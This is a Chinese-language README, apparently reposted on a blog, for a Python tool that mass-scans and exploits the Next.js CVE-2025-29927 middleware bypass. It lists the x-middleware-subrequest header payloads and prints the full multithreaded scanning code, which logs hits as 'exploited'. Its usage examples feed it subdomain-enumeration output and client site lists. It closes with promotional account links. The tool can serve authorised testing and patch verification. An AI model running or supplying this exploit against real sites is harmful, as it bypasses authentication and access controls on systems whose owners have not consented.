项目标题与描述
0xMiddleware 是一个针对 CVE-2025-29927 Next.js 中间件绕过漏洞的专业安全工具。该漏洞允许攻击者通过操纵内部头部 x-middleware-subrequest 来绕过 Next.js 中间件的安全检查机制,如身份验证、重定向和过滤等安全防护措施。
本项目实现了自动化漏洞检测与利用功能,能够高效扫描目标 Next.js 应用程序,识别存在漏洞的端点,并提供详细的漏洞验证报告。
功能特性
🔥 核心功能亮点
-
自动化漏洞检测:自动批量扫描 URL 列表,识别存在 CVE-2025-29927 漏洞的 Next.js 应用
-
智能绕过验证:使用多种有效载荷测试中间件绕过,包括:
- 标准中间件路径:
middleware - 页面中间件:
pages/_middleware - 源码中间件:
src/middleware - 多级中间件链:
middleware:middleware:middleware:middleware:middleware - 源码多级中间件:
src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
- 标准中间件路径:
-
精确结果分类:
- :check_mark_button: 确认绕过:状态码从 403 变为 200(完全绕过)
- ⚠️ 响应差异:状态码相同但内容不同(部分绕过或异常行为)
-
多线程并发扫描:使用 ThreadPoolExecutor 实现高效并发,支持最多 10 个并发线程
-
详细结果输出:彩色终端输出,清晰区分不同类型的结果
-
自动结果保存:将发现保存到文件中便于后续分析:
middleware_exploited.txt:存储确认绕过的目标middleware_response_diff.txt:存储响应差异的目标
:bullseye: 技术特点
- 零依赖性安装:仅需标准 Python 库(requests)
- 跨平台支持:支持 Windows、Linux、macOS 系统
- 易于集成:可作为独立工具或集成到安全测试框架中使用
安装指南
系统要求
- Python 3.6+ 运行环境
- 网络连接:用于发送 HTTP 请求
- 目标权限:需要访问目标 Next.js 应用的权限
安装步骤
- 克隆项目仓库
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
- 安装 Python 依赖
pip install requests
- 准备目标列表
创建名为urls.txt的文件,每行包含一个目标 URL:
https://target-domain.com/protected-path
https://another-target.com/admin
https://vulnerable-app.com/restricted
快速验证
python3 -c "import requests; print('Dependencies ready!')"
使用说明
基础使用方法
- 准备目标文件:创建包含目标 URL 的文本文件
- 运行扫描工具:
python3 0xMiddleware.py urls.txt
- 查看扫描结果:
# 查看确认绕过的目标
cat middleware_exploited.txt# 查看响应差异的目标
cat middleware_response_diff.txt
典型使用场景
场景一:批量漏洞验证
# 扫描多个目标应用
python3 0xMiddleware.py client_sites.txt# 输出示例:
[:check_mark:] Exploited: https://client-a.com/admin (payload: middleware)
[•] Response difference: https://client-b.com/dashboard (payload: src/middleware)
场景二:渗透测试集成
# 与其他工具结合使用
subfinder -d target.com | httpx | tee targets.txt
python3 0xMiddleware.py targets.txt
API 概览
工具采用简单的命令行接口:
- 必需参数:目标 URL 列表文件路径
- 输出格式:彩色控制台输出 + 文本文件记录
- 错误处理:自动跳过无法访问的目标,继续扫描其他目标
核心代码
主扫描函数实现
def check_middleware_bypass(url):"""检查单个URL是否存在中间件绕过漏洞参数:url: 要测试的目标URL"""try:# 发送正常请求作为基线response_normal = requests.get(url, timeout=5, verify=False)except Exception:# 目标不可访问,跳过return# 遍历所有中间件载荷进行测试for payload in middleware_payloads:try:# 设置绕过头部headers = {"x-middleware-subrequest": payload}response_bypass = requests.get(url, headers=headers, timeout=5, verify=False)# 情况1: 确认绕过 (403 -> 200)if response_normal.status_code == 403 and response_bypass.status_code == 200:colored_url = f"{BLUE}{url}{RESET}"print(f"{GREEN}[:check_mark:] Exploited:{RESET} {colored_url} {RED}(payload: {payload}){RESET}")confirmed_bypass.append(f"{url} [payload: {payload}]")with open("middleware_exploited.txt", "a") as f:f.write(f"{url} [payload: {payload}]\n")continue # 情况2: 响应内容差异elif response_normal.text != response_bypass.text:print(f"{BLUE}[•] {RESET}Response difference:{BLUE} {url} {RED}(payload: {payload}){RESET}")difference_only.append(f"{url} [payload: {payload}]")with open("middleware_response_diff.txt", "a") as f:f.write(f"{url} [payload: {payload}]\n")continue except Exception:# 单个载荷测试失败,继续测试下一个continue
主程序入口
def main():"""程序主函数,处理命令行参数并启动扫描"""# 检查命令行参数if len(sys.argv) < 2:print(f"{RED}[!] {RESET}Usage: python3 0xMiddleware.py <urls.txt>{RESET}")sys.exit(1)# 显示工具横幅banner()# 读取目标URL列表url_list_file = sys.argv[1]print(f"{BLUE}[•] {RESET}Loading URLs from:{BLUE} {url_list_file}{RESET}")with open(url_list_file, "r") as f:urls = [line.strip() for line in f if line.strip()]print(f"{BLUE}[•] {RESET}Starting scan on {BLUE}{len(urls)}{RESET} targets...{RESET}\n")# 使用线程池并发扫描with ThreadPoolExecutor(max_workers=10) as executor:executor.map(check_middleware_bypass, urls)# 扫描完成,输出统计信息print(f"\n{BLUE}[•] {RESET}Scan completed.{RESET}")if confirmed_bypass:print(f"{GREEN}[:check_mark:] {RESET}Found {len(confirmed_bypass)} bypass hits > middleware_exploited.txt{RESET}")if difference_only:print(f"{BLUE}[•] {RESET}Found {len(difference_only)} response diffs > middleware_response_diff.txt{RESET}")if not confirmed_bypass:print(f"{RED}[!] {RESET}No vulnerable URLs found {BLUE};-;{RESET}")
中间件载荷配置
# 中间件绕过载荷列表
middleware_payloads = ["middleware", # 标准中间件标识"pages/_middleware", # 页面中间件路径"src/middleware", # 源码目录中间件"middleware:middleware:middleware:middleware:middleware", # 多级中间件链"src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" # 源码多级中间件链
]
终端颜色常量
# ANSI 颜色代码,用于彩色终端输出
RED = "\033[91m" # 红色:用于警告和错误
GREEN = "\033[92m" # 绿色:用于成功提示
BLUE = "\033[94m" # 蓝色:用于信息和URL显示
RESET = "\033[0m" # 重置颜色
6HFtX5dABrKlqXeO5PUv/4e/swwAxhpRA5b/2uxt890=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码
